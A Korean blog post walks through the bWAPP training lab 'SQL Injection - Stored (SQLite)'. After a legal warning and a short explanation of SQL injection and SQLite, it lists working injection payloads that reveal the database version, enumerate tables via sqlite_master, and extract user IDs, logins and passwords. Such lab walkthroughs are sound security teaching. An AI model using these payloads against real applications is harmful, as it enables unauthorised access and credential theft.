Code::Security/비박스(BWAPP)

비박스(bWAPP) SQL Injection - Stored (SQLite)

태군 코드 2020. 1. 3. 14:12
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A1 - SQL Injection - Stored (SQLite)

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

 

SQLite MySQL PostgreSQL와 같은 데이터베이스 관리 시스템이지만, 서버가 아니라 응용 프로그램에 넣어 사용하는 비교적 가벼운 데이터베이스입니다. 일반적인 RDBMS에 비해 대규모 작업에는 적합하지 않지만, 중소 규모라면 속도에 손색이 없다. 또 API는 단순히 라이브러리를 호출하는 것만 있으며, 데이터를 저장하는 데 하나의 파일만을 사용하는 것이 특징이다. 버전 3.3.8에서는 풀텍스트 검색 기능을 가진 FTS1 모듈이 지원된다. 컬럼을 삭제하거나 변경하는 것 등이 제한된다.

구글 안드로이드 운영 체제에 기본 탑재된 데이터베이스이기도 하다.

 

https://ko.wikipedia.org/wiki/SQLite

 

비박스 SQL Injection -Stored (SQLite) 화면 입니다.

 

 

1을 입력하여 정상적으로 글이 등록되는것을 확인하고, 취약점 여부를 확인하기 위해여 '(작은따옴표)를 입력하였습니다. 작은따옴표 입력시 오류 메시지는 안나오지만 글이 입력되지 않는것을 보면 이스케이프가 안된상태라고 판단할수 있습니다.

 

 

',(select sqlite_version()))--

 

SQL Injection을 통하여 버전 정보를 확인하였습니다.

 

 

',(select tbl_name from sqlite_master limit 1,1))--

',(select tbl_name from sqlite_master limit 2,1))--

',(select tbl_name from sqlite_master limit 3,1))--

',(select tbl_name from sqlite_master limit 4,1))--

',(select tbl_name from sqlite_master limit 5,1))--

',(select tbl_name from sqlite_master limit 6,1))--

 

limit 명령어를 통하여 sqlite_master information_schema 테이블을 첫번째 행부터 출력

 

 

',(select sql from sqlite_master where tbl_name='users'))--

 

SQL Injection을 통하여 users 테이블의 필드 내용 확인

 

 

',(select id from users limit 0,1))--

',(select login from users limit 0,1))--

',(select password from users limit 0,1))--

 

',(select id from users limit 1,1))--

',(select login from users limit 1,1))--

',(select password from users limit 1,1))--

 

users 테이블의 id, login, password 확인

반응형